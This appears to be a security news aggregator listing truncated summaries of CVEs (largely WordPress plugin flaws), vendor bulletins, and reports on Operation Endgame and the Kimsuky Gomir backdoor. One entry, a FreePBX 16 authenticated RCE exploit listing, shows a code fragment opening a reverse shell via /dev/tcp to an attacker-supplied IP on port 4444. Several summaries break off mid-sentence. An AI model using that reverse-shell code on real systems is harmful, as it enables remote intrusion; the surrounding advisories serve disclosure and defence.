CVE-2023-46630

CVE-2023-46630 affects WordPress Admin and Site Enhancements (ASE) plugin versions up to 5.7.1. The issue is an unauthenticated bypass of Password Protection Mode due to a flawed authentication flow (reported as bypass via the maybe_process_login path), allowing access to password-protected conte...

CVE-2023-45009

CVE-2023-45009 is a CAPTCHA/Honeypot plugin vulnerability for WordPress Contact Form 7 (Captcha/Honeypot for Contact Form 7 by Forge12 Interactive GmbH). It allows bypass of authentication-related checks due to improper restriction of excessive authentication attempts in versions up to 1.11.3. Pu...

CVE-2023-44235

CVE-2023-44235 (WP Captcha) is a vulnerability in the WordPress WP Captcha plugin (affected:

June 4, 2024, update for Office 2016 (KB5002585)

None None...

CVE-2024-31330

CVE-2024-31330 is listed in the 2024-11-01 Wear OS security bulletin under the System component with a local escalation-of-privilege (EoP) vulnerability (High severity). Affected software is Wear OS (System), with the issue mapped to AOSP version 13. The bulletin indicates exploitation could occu...

FreePBX 16 - Remote Code Execution (RCE) (Authenticated)

Exploit Title: FreePBX 16 - Remote Code Execution RCE Authenticated Exploit Author: Cold z3ro Date: 6/1/2024 Tested on: 14,15,16 Vendor: https://www.freepbx.org/ %26 /dev/tcp/'.$backconnectip.'/4444 0%261'; curlsetopt$ch, CURLOPTSSLVERIFYHOST, false; curlsetopt$ch, CURLOPTSSLVERIFYPEER, false; ec...

Europol Shuts Down 100+ Servers Linked to IcedID, TrickBot, and Other Malware

Europol on Thursday said it shut down the infrastructure associated with several malware loader operations such as IcedID, SystemBC, PikaBot, SmokeLoader, Bumblebee, and TrickBot as part of a coordinated law enforcement effort codenamed Operation Endgame. "The actions focused on disrupting crimin...

CVE-2024-5027

CVE-2024-5027 affects Citrix Workspace app for Mac (pre-2402.10). Elevation of privilege from a local authenticated user to root is possible. Remedy: upgrade to Citrix Workspace app for Mac 2402.10 or later (per CTX675851). If details on root-cause are not provided, note that explicit root-cause ...

sanfilippo.org.au Cross Site Scripting vulnerability OBB-3930306

Following the coordinated and responsible vulnerability disclosure guidelines of the ISO 29147 standard, Open Bug Bounty has: a. verified the vulnerability and confirmed its existence; b. notified the website operator about its existence. Technical details of the vulnerability are currently hidde...

grafana: vulnerable to authorization bypass

A vulnerability was found in Grafana. Due to an error in authorization logic, it is possible for an unprivileged user in a different organization other than the snapshot owner to perform unauthorized actions such as deleting it using a view key...

CVE-2024-27971

CVE-2024-27971 is a path traversal causing unauthenticated local file inclusion in the WordPress plugin Premmerce Permalink Manager for WooCommerce . The issue affects versions from before 2.3.11 (i.e., up to 2.3.10) and stems from improper limitation of a pathname to a restricted directory. Publ...

CVE-2024-27954

WordPress Automatic plugin

CVE-2024-24934

CVE-2024-24934 (Elementor Website Builder) : Affected plugin versions are Elementor Website Builder

CVE-2024-24869

CVE-2024-24869 affects BoldGrid Total Upkeep (WordPress plugin)

CVE-2024-22157

CVE-2024-22157 is an unauthenticated privilege-escalation vulnerability in the WordPress plugin SalesKing (

CVE-2024-22145

CVE-2024-22145 : InstaWP Connect plugin for WordPress (= 0.1.0.9.

CVE-2024-21746

CVE-2024-21746 affects WP Ultimate Review plugin for WordPress, exposing an unauthenticated IP spoofing-based bypass that can bypass authentication and enable a functionality bypass. Public sources list vulnerable versions as <= 2.3.5 (and initial description cites

Kimsuky APT Deploying Linux Backdoor Gomir in South Korean Cyber Attacks

The Kimsuky aka Springtail advanced persistent threat APT group, which is linked to North Korea's Reconnaissance General Bureau RGB, has been observed deploying a Linux version of its GoBear backdoor as part of a campaign targeting South Korean organizations. The backdoor, codenamed Gomir, is...

CVE-2023-51546

CVE-2023-51546 is an authority-listed vulnerability in the WordPress plugin WooCommerce PDF Invoices, Packing Slips, Delivery Notes and Shipping Labels (affected: up to version 4.2.1). The issue stems from Improper Privilege Management that enables Privilege Escalation . The vulnerability affects...

CVE-2023-51483

CVE-2023-51483 affects Glowlogix WP Frontend Profile for WordPress. The vulnerability is an Unauthenticated Privilege Escalation caused by Improper Privilege Management in the plugin, impacting WP Frontend Profile versions up to 1.3.1. Public disclosures in the connected documents confirm the iss...